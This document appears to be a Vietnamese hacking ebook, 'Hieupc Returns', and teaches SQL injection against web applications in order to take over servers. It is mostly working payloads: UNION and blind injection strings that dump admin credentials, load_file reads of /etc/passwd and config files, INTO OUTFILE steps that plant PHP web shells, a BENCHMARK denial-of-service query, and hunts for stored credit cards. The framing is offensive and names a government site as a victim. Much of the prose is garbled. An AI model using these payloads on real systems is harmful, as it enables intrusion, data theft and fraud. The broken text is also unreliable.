It’s a special version which the title
will be:
Hieupc Returns
Copyright ® by hieupc
Email:
Yahoo ID
: hieuitpc
Châm ngôn: ,
. , .
: 09-09-2009
: Hieupc
Page 1
-
:
, 4 ,
. tvi tính,
, ,
. L
máy vi tính, ,
.
.
ngày hôm nay, ,
.
,
Ebook này. , , ,
.
P/S:
nó nhé. :
My Friends: Ly0kha, PxNam, J0hnnywalk3r, Yeuemdaikho, Kehieuhoc, Langtuhaohoa,
Mr.saobang, Vampirevn, Thanhhuyleit, Thanhh83, Longnhi……………
Chú ý: Trong là
.
Page 2
T
–
: Page
I. Exploiting PHP Injection: 4
1. PHP Injection là gì? 4
2. . 4 - 16
II. Getting Root Server by Many Methods: 17
1. MYSQL Server. 17 - 24
2. SA MSSQL Server. 25 - 37
3. ack. 38 - 48
III. How To Get These Important Information: 49
1. . 49 - 50
2. . 51 - 53
IV. Exploiting By Tool, Scripts: 54
1. Shell Scripts. 54
2. Tools Hack. 54
V. Speacial Things: 55
1. ng dn cách c phc khác. 55 - 64
2. . 65 - 68
3. Thc tp SQL Injection. 69
Page 3
–
I. Exploiting PHP Injection:
1. PHP Injection là gì:
PHP Injection xét vmà m
th giá tr.
vào có th
:
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
<?php
$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
2. :
SQL Injection lc khai thác da vào quá trình trao i d liu gii dùng và
Web Application. Vic ng dng không kim tra các giá tr n attacker có th cho
thc thi các SQL query không mong mun can thii, thêm, xem hay
xóa các d liu.
ng khai thác bng các gi các giá tr server sinh các thông tin l t
tùy bin theo câu truy vn gc ci thit k.
Nc customize các trang li hay các trang li không tr v, phi làm th
nào? Hãy th khai thác vc: blind sql injection.
Ví d:
Kt qu tr v là thông tin t.
:
‘ .
/>’
1 .
Page 4
–
Tùy bin 1:
and 1=1
=>Trang web tr v database
Tùy bin 2:
and 1=2
=> Không sn phm nào xut hin.
Vy ta nhn thy t qu tr v ca trang web khác nhau. Vi tùy biu
kin 1=1 (true) s không làm n kt qu ca câu truy vn gc nên vn hi
tùy bin 2: 1=2 (false) thêm vào, câu truy vn gc s
b tr kt qu v false dn không xut hin thông tin trên trang web. Dm này ta có
th dùng các truy vn ni vào sao cho kt qu nh ly thông tin v h thng!
Gi s chúng ta không bing và bng ca ng dng web này là gì?
Vi li SQL Injection gây ra bi url trên ta xem th truy vn (SQL) ca nó liu có bao nhiu
ng. S du này bi vì khi chúng ta dùng UNION trong câu lnh SQL thì s
ng ca hai câu lnh select phi trùng nhau.
nhanh
.
ng truy vn vi url:
Có rt nhi thc hin. ình s dng order by <num>. Thc hin
<num>. Khi thc hin order by <num>, nu trang web không hin th li tc là s ng
vn còn, thc hin khi nào xut hin li tã thc hin tìm s
ng.
:
order by 1 ->
:
Page 5
–
order by 2 -> .
order by 10 -> , .
10 :
order by 7 ->
order by 8 -> ,
sao, 7 8 .
Suy ra: 7 mà chúng .
y truy vn SQL vng (field)
u tra phiên bn SQL, User… vi lnh sau:
:
:
- nhé
: 4.5 5.0 mò table và column.
/>-
1%20union%20select%201,2,3,4,5,6,7
: : (, 3 4)
m tra SQL Version xem sao:
/>-1%20union%20select%201,2,version(),4,5,6,7
Page 6
–
: (5.0, _name hay
column_.)
Và c, : version() , user()
, database() , @@datadir , group_concat(schema_name) , table_schema ,
… +from+information_schema.schemata
/>-1%20union%20select%201,2,user(),4,5,6,7
:
: concat_ws(0x3a,version(),user(),database())
/>-
1%20union%20select%201,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7
:
/>-
1%20union%20select%201,2,group_concat(table_name),4,5,6,7%20from%20information_schema.tables
: , , , .
Page 7
–
thêm: unhex(hex( _concat nhé. :
/>-
1%20union%20select%201,2,unhex(hex(group_concat(table_name))),4,5,6,7%20from%20information_schema.t
ables
:
Trong PHP Hex table
: admin, users, accounts….Hex vì Magic_Quotes : ON
Sau khi, , : admin.
thác xem sao: (table: admin : 61646d696e)
/>-
1%20union%20select%201,2,unhex(hex(group_concat(column_name))),4,5,6,7%20from%20information_schem
a.columns where table_name=
0x61646d696e
"
0x” hex nhé. unhex(hex( ,
unhex(hex( .
:
: 2 : username, pass : admin
:
/>-
1%20union%20select%201,2,unhex(hex(group_concat(username,0x7c,pass))),4,5,6,7%20from%20admin
Page 8
–
:
:
Username: cuongle
Pass: cuongle
… .
:
0x7c
| , . Khi
là: admin .
, .
: (: admin, pcadmin, admin_login, admin.php….)
, :
xem sao.
: ()
Page 9
-
:
Trong vic khai thác blind sql injection mt s hàm sau t ra hu ích:
1. SUBSTRING(string,v trí, s ng): Hàm ct chui
vd:
SUBSTRING('dbo', 1, 1) = ‘d’
SUBSTRING('dbo', 2, 1) = ‘b’
SUBSTRING('dbo', 3, 1) = ‘o’
2. Lower(): chuyn ký t sang ch ng
3. Upper(): chuyn ký t sang ch HOA
4. ASCII(): chuyn ký t sang s ng mã ascii
Ngoài ra chú ý thêm:
- :
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
C:\ on line 37
- : Union select all, Union all select…
- table_schema tables table_schema .
/>1,group_concat(table_name),3,4
+from+information_schema.tables+where+table_schema=hie
upc— ( nhé.)
-
: CC, Information, user, pass….
().
-
: union, select, convert….
. : UnIoN SelECt…
-
: credit card number,
****,
unhide…(
).
-
, :
Page 10
-
- MD5, có
:
- ,
.
-
ch Bypass Login (
).
- + , :
union+all+select….
- : 0x7c |
: 2 .
sang Hex, ta vào trang web sau:
(
0x -hex). : table: admin sau khi convert thì
: 61646d696e và sau khi thêm
0x : 0x61646d696e,
.
- tconvert sang Ascii thay vì convert sang Hex. :
table: admin convert thì ra: char(97,100,109,105,110)
- Mt chút v bng mã ASCII:
B kí t ASCII gm 256 kí t c phân b
+ 32 kí t u là các kí t u khin không c ví d ENTER ( mã
13) , ký t ESC ( mã 27)
+ các mã 32-47,58-64,91-96 và 123-127 là các kí t c biu chm,
chm phy , du ngoc , móc , hi
+ các mã 48-57 là 10 ch s
+ các mã 65-90 là các ch cái hoa A->Z
+ các kí t 97-122 là các ch ng a->z
+ các mã ASSCII là các kí t ha.
- b n các thông báo li gi t máy ch bng cách
thêm du @ c câu lnh truy vn,
Injection. : Page 11
-
$id = $_GET[id]; @mysql_query("SELECT * FROM user WHERE
id=$id");
Hoc s dng error_reporting(0); n PHP code che du li…
nh li này không th thêm du
‘ cui câu truy v
ã b chn hin lng h th ta thêm mng thc
ng sau câu truy v
and 1=1
Nu kt qu trang web sau khi thêm vào biu thc trên không b i
ta nói li rt ln mà ta có th .
- ck,
sau: ‘ vào
nào , SQL
Injection.
-
: XSS, RFI, LFI.
- 5 i mò table và column quan
,
scan tables hay columns. :
- 1,1,1,1,1,1…. Thay vì
1,2,3,4,5,6nh query SQL Injection.
- order by
1
thôi. :
order by 1
Order by 1 : ,
, :
/>-
1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14
Page 12
-
:
- ‘sau ,
,
.
- Lnh union nh kt ni các bng li vi nhau. Chúng ta
c s dn khi bit chính xác có bao nhiêu bng d liu nm
trong database.
- Nng hp xut hin li ta có th thêm limit 0,1 n limit
1,1 limit 2,1 ly ht tt c .
- Tconcat thay cho group_concat
- Ta null
, :
union + + + select
null, null / *
union + + + select null, null / *
- Chúng ta s
+union select null, null
union select null, null, null
union select null, null, null, null
- :
Order by 100 .Dt không th nào quá 100 cc.Vi cách
thc này ta có th nhanh chóng bic bao nhiêu ct.Và có sai thì nó s
báo li.
.
Page 13
-
-
, , :
site.com/index.php?id=-1 union select
1,2,substr(group_concat(table_name),100,300),3,4,5… dành cho
.
site.com/index.php?id=
-1 union select 1,2,
unhex(hex(substr(group_concat(table_name),100,300))),3,4,5…
.
100 lên 200
300…
- LIMIT 1 OFFSET 44 có
tin , 44 45, 46 là tables
.:
-
- Tu khác
nhau, ví d:
- Cò
password c
inject thì tránh ghi log. B-
SQL thì hki
sg ghi nh ghi l
cho dù sp_password có .
-
1 union select current_user,null/*
ho
1 union select user(),null/*
Các câu l có th
Usernam@server
Ho
câu l
1 and user() like ‘root
1 and mid(user(),1,1)
1 and mid(user(),2,1)>’m
1 and ascii(substring(user(),1,1))>64
Page 14
‘ union select
1,2,3,4,5,6,7,concat(table_name,0×7c,table_schema,0×7c),9,10,11,12,13,14,15,16,17,18,19
FROM information_schema.tables
LIMIT 1 OFFSET 44
Microsoft Access: ‘
MySql :
, /* */ , /* , #
Sql Server : , /* */ ,
null byte %00
Sp_password 'old_pass','new_pass',user'
-
5 thì sao?
,
, .
: .
Th‘ sau id=1. url tr
/>’
Ta phát hio sau:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
C:\xampp\htdocs\phpevents\event.php on line 37
L th
order by 1(< V
order by 2(< V
order by 3(< V
……
order by 15 (< V
order by 16 (Xu
:
union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1
ã có s
thd: manager, admin, administrator, systemlogin, … (Vi
table thu,
…). N
b
thì nó ch
union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Page 15
-
mình ã lCó th
v….). Ti:
union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
min. Th
kh:
union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
và pass trong b
và pword + tên b
Th
union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from
admin
Th:
union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from
admin
thêm limit 0,1 limit 1,1 limit 2,1
Sl
m
0x3a—> d
:
”. Concat s
N
u.
union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from
information_schema.tables
union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from
information_schema.columns
Ngoài ra trong m
union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin
Page 16
-
II. Getting Root Server by Many Methods:
1. .
.
sau, Server:
‘ union select 1,2,3,4,5,6,7,database(),9,10,11,12,13,14,15,16,17,18,19—
:
‘ union select 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19—
: (SQL Version trên 5 nhé, )
‘ union select 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19—
:
‘ union select 1,2,3,4,5,6,7,@@datadir,9,10,11,12,13,14,15,16,17,18,19–
Database : "/var/lib/mysql/ "
Page 17
-
ta a MYSQL USER xem sao (
):
‘ union select 1,2,3,4,5,6,7,update_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,file_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
, , :
ta sql là: muu . (muu
sang Ascii là: CHAR(109, 117, 117) :
muu =
0x6d7575
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109,
117, 117)–
=
muu (=muu này):
B kitrên mà không chêm mhiên Hieupc v
thêm nó vào vì - khi chuy
1file_priv from mysql.user where user=CHAR(109, 117, 117)),1,1)=’a
ng có thêm NULL ph
Cách trên có tháp d
N
0
grantee like ‘%username%
V blind:
1
like ‘%username%’),1,1)=’Y
Page 18
-
nào:
magic_quotes , dùng cách này
, 90% .
: magic_quotes là ON
Nu bn không th truy cp vào bng mysql.user hoc information_schema.user chúng ta c
c th c tip theu bng bn không có quyn FILE thì cách
khai thác s dng
into outfile s không thc hic. into outfile t
, shell script…
?. T. , Hieupc dùng
load_file
, config , configuration.php.
Khi chúng ta bi
.
Trong h
th
/
Vir b
0
Trong mysql 5 thì có th
0
():
: C:\Program Files\MySQL\MySQL Server 5.0\Data\
datadirdatabasename
B:
0database(),null/*
N
mysql_free_result(), mysql_fetch_row() ho
thg d
warning này có d:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/home/shop/shopping2/list1.html on line 80……………….
Page 19
-
0
Cách làm trên có hi
t
. snh:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
C
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/
B
Mysql server có quy
/>options.html
. load_file “
config.php” xem cái nào
ta :
C:/Program Files/Web/config.php , sau khi convert thì
:
char(67,58,92,80,114,111,103,114,97,109,70,105,108,101,115,92,77,121,83,81,76,92,77,121,83,81,76,83,101,114,1
18,101,114,53,46,48,92,68,97,116,97,92,99,111,110,102,105,103,46,112,104,112)
(chú ý: user = muu , muu = CHAR(109, 117,
117)
):
union all select
1,2,3,load_file(char(67,58,92,80,114,111,103,114,97,109,70,105,108,101,115,92,77,121,83,81,76,92,77,121,83,81,
76,83,101,114,118,101,114,53,46,48,92,68,97,116,97,92,99,111,110,102,105,103,46,112,104,112)),5,6,7,8,9,10,11,
12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from mysql.user where user=CHAR(109, 117, 117)
Page 20
-
:
,
MySQL Query Browser , cái này lên google.:
(, ):
Nhìn hìn: tblcart_payment .
,
Drop, Update, Delete, hay Insert thông tin…………May m
(Cpanel Root), :
Page 21
-
Check xem Shop này có CC không nào (, ,
):
:
:
Ngoài ra, load_file : /etc/passwd. :
‘ union select 1,2,3,4,5,6,7,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119,
100)),9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109, 117, 117)–
Page 22
-
(chú ý: etc/password và user= muu sang mã Ascii nhé):
view : /etc/shadow ,
, crack pass shadow = john171d,
download trên google.com nhé.
, : Update
( muu….):
‘ update table_name set column_name=’new value’ where column_name=’value’ where user=muu
, upload B:
Khi b
ghi b:
0INTO OUTFILE ‘ / /web/dir/file.txt
Hohông bi
1
NINTO DUMPFILE thay vì
INTO OUTFILE
Cload_file()
0 SELECT load_file(’…’) INTO OUTFILE ‘…
Trong m
0
Ho :
0'<? include("$hieupc"); ?>',null INTO OUTFILE ‘ / /web/server/dir/hieupc.php’
Page 23
-
1 s d
// PHP SHELL
‘<? system($_GET['c']); ?>’
'<? php system ($ _GET [cmd]);>'
ho:
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? … $result = mysql_query($_GET['query']); … ?>
Cu
-Không th.
-INTO OUTFILE phu. Ngoài ra, có th
bcách convert sang Ascii.
Vi . kém là
chúng ta c, c Nó sh b
giysql.
Ví d union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng s
chúng ta g1 sysql. Chính vì v
v1 câu l kém ph:
+ union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71),
0x71), 4,5,6 / *
ta dùng các
l
+ union + +1.2 select, user, password, 5,6 mysql.user + from + / *
** / union / ** / select / ** / 1.2, user,
PhDOS: Ch này m c:
+ BENCHMARK (10000000, BENCHMARK (10000000 md5
(current_date)))
Page 24
-
2. SA MSSQL Server:
1 server
VN : GOV.VN (). Thông
. hay
‘.
:
. . :
/>me()%2bchar(124)%2bsystem_user%2bchar(124)%2b@@version) sp_password
:
Kim tra xem System_User hin ti có quyn ngang = SA không:
ng System_user có quyn ngang = SA không thy nó có
tên là 'SAng b qua
bn kim tra xem System_user m trong role sysadmin không (ngang =
SA)
Ví d victim là:
www.hieupc.gov.vn/hieupc.asp?id=1
Page 25